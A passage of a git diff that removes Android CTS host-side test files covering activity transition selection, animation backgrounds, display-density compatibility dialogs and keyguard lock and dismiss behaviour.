- executeShellCommand(amStartCmd);
-
- // Sleep 2 seconds, then check if the window is started properly.
- // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
- // slow-starting app. So instead of relying on WindowManagerState's
- // retrying mechanism, we do an explicit sleep to avoid excess spews
- // from WindowManagerState.
- if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
- Thread.sleep(2000);
- }
-
- CLog.logAndDisplay(INFO, "==========Before Docking========");
- final String oldToken = getWindowToken(windowName, activityName);
-
- // Move to docked stack
- final int taskId = getActivityTaskId(activityName);
- final String cmd = AM_MOVE_TASK + taskId + " " + DOCKED_STACK_ID + " true";
- executeShellCommand(cmd);
-
- // Sleep 5 seconds, then check if the window is replaced properly.
- Thread.sleep(5000);
-
- CLog.logAndDisplay(INFO, "==========After Docking========");
- final String newToken = getWindowToken(windowName, activityName);
-
- // For both relaunch and not relaunch case, we'd like the window to be kept.
- Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
- }
-
- private String getWindowToken(String windowName, String activityName)
- throws Exception {
- mAmWmState.computeState(mDevice, new String[] {activityName});
-
- mAmWmState.assertVisibility(activityName, true);
-
- mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
-
- Assert.assertEquals("Should have exactly one window for the activity.",
- 1, mTempWindowTokens.size());
-
- return mTempWindowTokens.get(0);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
deleted file mode 100644
index 63aa1ab..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ /dev/null
@@ -1,266 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
-
-/**
- * This test tests the transition type selection logic in ActivityManager/
- * WindowManager. BottomActivity is started first, then TopActivity, and we
- * check the transition type that the system selects when TopActivity enters
- * or exits under various setups.
- *
- * Note that we only require the correct transition type to be reported (eg.
- * TRANSIT_ACTIVITY_OPEN, TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.).
- * The exact animation is unspecified and can be overridden.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
- */
-@Presubmit
-public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
-
- private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
- private static final String TOP_ACTIVITY_NAME = "TopActivity";
- private static final String TRANSLUCENT_TOP_ACTIVITY_NAME = "TranslucentTopActivity";
-
- //------------------------------------------------------------------------//
-
- // Test activity open/close under normal timing
- public void testOpenActivity_NeitherWallpaper() throws Exception {
- testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
- }
-
- public void testCloseActivity_NeitherWallpaper() throws Exception {
- testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
- }
-
- public void testOpenActivity_BottomWallpaper() throws Exception {
- testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
- }
-
- public void testCloseActivity_BottomWallpaper() throws Exception {
- testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testOpenActivity_BothWallpaper() throws Exception {
- testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
- }
-
- public void testCloseActivity_BothWallpaper() throws Exception {
- testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- //------------------------------------------------------------------------//
-
- // Test task open/close under normal timing
- public void testOpenTask_NeitherWallpaper() throws Exception {
- testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_TASK_OPEN);
- }
-
- public void testCloseTask_NeitherWallpaper() throws Exception {
- testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_TASK_CLOSE);
- }
-
- public void testOpenTask_BottomWallpaper() throws Exception {
- testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
- }
-
- public void testCloseTask_BottomWallpaper() throws Exception {
- testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testOpenTask_BothWallpaper() throws Exception {
- testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
- }
-
- public void testCloseTask_BothWallpaper() throws Exception {
- testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
- false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- //------------------------------------------------------------------------//
-
- // Test activity close -- bottom activity slow in stopping
- // These simulate the case where the bottom activity is resumed
- // before AM receives its activitiyStopped
- public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
- testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
- }
-
- public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
- testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
- testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- //------------------------------------------------------------------------//
-
- // Test task close -- bottom task top activity slow in stopping
- // These simulate the case where the bottom activity is resumed
- // before AM receives its activitiyStopped
- public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
- testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_TASK_CLOSE);
- }
-
- public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
- testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
- testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
- true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- //------------------------------------------------------------------------//
-
- /// Test closing of translucent activity/task
- public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
- testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
- TRANSIT_ACTIVITY_CLOSE);
- }
-
- public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
- testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
- TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
- testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
- TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
- testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
- TRANSIT_TASK_CLOSE);
- }
-
- public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
- testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
- TRANSIT_WALLPAPER_OPEN);
- }
-
- public void testCloseTask_BothWallpaper_Translucent() throws Exception {
- testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
- TRANSIT_WALLPAPER_INTRA_CLOSE);
- }
-
- //------------------------------------------------------------------------//
-
- private void testOpenActivity(boolean bottomWallpaper,
- boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
- testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
- bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
- }
- private void testCloseActivity(boolean bottomWallpaper,
- boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
- testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
- bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
- }
- private void testOpenTask(boolean bottomWallpaper,
- boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
- testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
- bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
- }
- private void testCloseTask(boolean bottomWallpaper,
- boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
- testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
- bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
- }
- private void testCloseActivityTranslucent(boolean bottomWallpaper,
- boolean topWallpaper, String expectedTransit) throws Exception {
- testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
- bottomWallpaper, topWallpaper, true /*topTranslucent*/,
- false /*slowStop*/, expectedTransit);
- }
- private void testCloseTaskTranslucent(boolean bottomWallpaper,
- boolean topWallpaper, String expectedTransit) throws Exception {
- testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
- bottomWallpaper, topWallpaper, true /*topTranslucent*/,
- false /*slowStop*/, expectedTransit);
- }
- //------------------------------------------------------------------------//
-
- private void testTransitionSelection(
- boolean testOpen, boolean testNewTask,
- boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
- boolean testSlowStop, String expectedTransit) throws Exception {
- String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
- if (bottomWallpaper) {
- bottomStartCmd += " --ez USE_WALLPAPER true";
- }
- if (testSlowStop) {
- bottomStartCmd += " --ei STOP_DELAY 3000";
- }
- executeShellCommand(bottomStartCmd);
-
- final String topActivityName = topTranslucent ?
- TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
- final String[] bottomActivityArray = new String[] {BOTTOM_ACTIVITY_NAME};
- final String[] topActivityArray = new String[] {topActivityName};
-
- mAmWmState.computeState(mDevice, bottomActivityArray);
-
- String topStartCmd = getAmStartCmd(topActivityName);
- if (testNewTask) {
- topStartCmd += " -f 0x18000000";
- }
- if (topWallpaper) {
- topStartCmd += " --ez USE_WALLPAPER true";
- }
- if (!testOpen) {
- topStartCmd += " --ei FINISH_DELAY 1000";
- }
- executeShellCommand(topStartCmd);
- Thread.sleep(5000);
- if (testOpen) {
- mAmWmState.computeState(mDevice, topActivityArray);
- } else {
- mAmWmState.computeState(mDevice, bottomActivityArray);
- }
-
- assertEquals("Picked wrong transition", expectedTransit,
- mAmWmState.getWmState().getLastTransition());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
deleted file mode 100644
index 8467af2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.AnimationBackgroundTests
- */
-public class AnimationBackgroundTests extends ActivityManagerTestBase {
-
- public void testAnimationBackground_duringAnimation() throws Exception {
- launchActivity(LAUNCHING_ACTIVITY);
- getLaunchActivityBuilder()
- .setTargetActivityName("AnimationTestActivity")
- .setWaitForLaunched(false)
- .execute();
-
- // Make sure we are in the middle of the animation.
- mAmWmState.waitForWithWmState(mDevice, state -> state
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
- .isWindowAnimationBackgroundSurfaceShowing(),
- "***Waiting for animation background showing");
- assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
- .isWindowAnimationBackgroundSurfaceShowing());
- }
-
- public void testAnimationBackground_gone() throws Exception {
- launchActivity(LAUNCHING_ACTIVITY);
- getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
- mAmWmState.computeState(mDevice, new String[] { "AnimationTestActivity "});
- assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
- .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
- .isWindowAnimationBackgroundSurfaceShowing());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
deleted file mode 100644
index 0ebbfe2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-/**
- * Ensure that compatibility dialog is shown when launching an application with
- * an unsupported smallest width.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.DisplaySizeTest
- */
-public class DisplaySizeTest extends DeviceTestCase {
- private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
- private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
-
- private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
- private static final String AM_FORCE_STOP = "am force-stop %s";
-
- private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
- private static final int WINDOW_TIMEOUT_MILLIS = 1000;
-
- private ITestDevice mDevice;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
-
- mDevice = getDevice();
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
-
- try {
- resetDensity();
-
- // Ensure app process is stopped.
- forceStopPackage("android.displaysize.app");
- forceStopPackage("android.server.cts");
- } catch (DeviceNotAvailableException e) {
- // Do nothing.
- }
- }
-
- public void testCompatibilityDialog() throws Exception {
- // Launch some other app (not to perform density change on launcher).
- startActivity("android.server.cts", "TestActivity");
- verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
- setUnsupportedDensity();
-
- // Launch target app.
- startActivity("android.displaysize.app", "SmallestWidthActivity");
- verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
- verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
- }
-
- public void testCompatibilityDialogWhenFocused() throws Exception {
- startActivity("android.displaysize.app", "SmallestWidthActivity");
- verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-
- setUnsupportedDensity();
-
- verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
- }
-
- public void testCompatibilityDialogAfterReturn() throws Exception {
- // Launch target app.
- startActivity("android.displaysize.app", "SmallestWidthActivity");
- verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
- // Launch another activity.
- startOtherActivityOnTop("android.displaysize.app", "SmallestWidthActivity");
- verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
- setUnsupportedDensity();
-
- // Go back.
- mDevice.executeShellCommand("input keyevent 4");
-
- verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
- verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
- }
-
- private void setUnsupportedDensity() throws DeviceNotAvailableException {
- // Set device to 0.85 zoom. It doesn't matter that we're zooming out
- // since the feature verifies that we're in a non-default density.
- final int stableDensity = getStableDensity();
- final int targetDensity = (int) (stableDensity * 0.85);
- setDensity(targetDensity);
- }
-
- private int getStableDensity() {
- try {
- final String densityProp;
- if (mDevice.getSerialNumber().startsWith("emulator-")) {
- densityProp = DENSITY_PROP_EMULATOR;
- } else {
- densityProp = DENSITY_PROP_DEVICE;
- }
-
- return Integer.parseInt(mDevice.getProperty(densityProp));
- } catch (DeviceNotAvailableException e) {
- return 0;
- }
- }
-
- private void setDensity(int targetDensity) throws DeviceNotAvailableException {
- mDevice.executeShellCommand("wm density " + targetDensity);
-
- // Verify that the density is changed.
- final String output = mDevice.executeShellCommand("wm density");
- final boolean success = output.contains("Override density: " + targetDensity);
-
- assertTrue("Failed to set density to " + targetDensity, success);
- }
-
- private void resetDensity() throws DeviceNotAvailableException {
- mDevice.executeShellCommand("wm density reset");
- }
-
- private void forceStopPackage(String packageName) throws DeviceNotAvailableException {
- final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
- mDevice.executeShellCommand(forceStopCmd);
- }
-
- private void startActivity(String packageName, String activityName)
- throws DeviceNotAvailableException {
- mDevice.executeShellCommand(getStartCommand(packageName, activityName));
- }
-
- private void startOtherActivityOnTop(String packageName, String activityName)
- throws DeviceNotAvailableException {
- final String startCmd = getStartCommand(packageName, activityName)
- + " -f 0x20000000 --ez launch_another_activity true";
- mDevice.executeShellCommand(startCmd);
- }
-
- private String getStartCommand(String packageName, String activityName) {
- return String.format(AM_START_COMMAND, packageName, packageName, activityName);
- }
-
- private void verifyWindowDisplayed(String windowName, long timeoutMillis)
- throws DeviceNotAvailableException {
- boolean success = false;
-
- // Verify that compatibility dialog is shown within 1000ms.
- final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
- while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
- final String output = mDevice.executeShellCommand("dumpsys window");
- success = output.contains(windowName);
- }
-
- assertTrue(windowName + " was not displayed", success);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
deleted file mode 100644
index a441e56..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardLockedTests
- */
-public class KeyguardLockedTests extends KeyguardTestBase {
-
- private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
- private static final String PIP_ACTIVITY = "PipActivity";
- private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
- "android.server.cts.PipActivity.enter_pip";
- private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- setLockCredential();
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- tearDownLockCredentials();
- }
-
- public void testLockAndUnlock() throws Exception {
- if (!isHandheld()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- unlockDeviceWithCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
- }
-
- public void testDismissKeyguard() throws Exception {
- if (!isHandheld()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity("DismissKeyguardActivity");
- enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
- mAmWmState.assertVisibility("DismissKeyguardActivity", true);
- }
-
- public void testDismissKeyguard_whileOccluded() throws Exception {
- if (!isHandheld()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- launchActivity("DismissKeyguardActivity");
- enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
- mAmWmState.assertVisibility("DismissKeyguardActivity", true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
- }
-
- public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
- if (!isHandheld()) {
- return;
- }
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
- enterAndConfirmLockCredential();
-
- // Make sure we stay on Keyguard.
- assertShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- }
-
- public void testDismissKeyguardActivity_method() throws Exception {
- if (!isHandheld()) {
- return;
- }
- final String logSeparator = clearLogcat();
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("DismissKeyguardMethodActivity");
- enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
- mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertOnDismissSucceededInLogcat(logSeparator);
- }
-
- public void testDismissKeyguardActivity_method_cancelled() throws Exception {
- if (!isHandheld()) {
- return;
- }
- final String logSeparator = clearLogcat();
- gotoKeyguard();
- mAmWmState.computeState(mDevice, null);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- launchActivity("DismissKeyguardMethodActivity");
- pressBackButton();
- assertOnDismissCancelledInLogcat(logSeparator);
- mAmWmState.computeState(mDevice, new String[] {});
- mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- unlockDeviceWithCredential();
- }
-
- public void testEnterPipOverKeyguard() throws Exception {
- if (!isHandheld() || !supportsPip()) {
- return;
- }
-
- // Go to the keyguard
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-
- // Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
- // their credentials and does not enter picture-in-picture yet
- launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- assertShowingAndOccluded();
- mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
-
- // Enter the credentials and ensure that the activity actually entered picture-in-picture
- enterAndConfirmLockCredential();
- mAmWmState.waitForKeyguardGone(mDevice);
- assertKeyguardGone();
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
- }
-
- public void testShowWhenLockedActivityAndPipActivity() throws Exception {
- if (!isHandheld() || !supportsPip()) {
- return;
- }
-
- launchActivity(PIP_ACTIVITY);
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
- launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
- assertShowingAndOccluded();
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
- mAmWmState.assertVisibility(PIP_ACTIVITY, false);
- }
-
- public void testShowWhenLockedPipActivity() throws Exception {
- if (!isHandheld() || !supportsPip()) {
- return;
- }
-
- launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
- executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
- mAmWmState.computeState(mDevice, new String[] { PIP_ACTIVITY });
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
- mAmWmState.assertVisibility(PIP_ACTIVITY, true);
-
- gotoKeyguard();
- mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
- assertShowingAndNotOccluded();
- mAmWmState.assertVisibility(PIP_ACTIVITY, false);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
deleted file mode 100644
index d578644..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardTestBase.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.server.cts.StateLogger.log;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-public class KeyguardTestBase extends ActivityManagerTestBase {
-
- protected void assertShowingAndOccluded() {
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
- }
-
- protected void assertShowingAndNotOccluded() {
- assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardOccluded);
- }
-
- protected void assertKeyguardGone() {
- assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
- }
-
- protected void assertOnDismissSucceededInLogcat(String logSeparator) throws Exception {
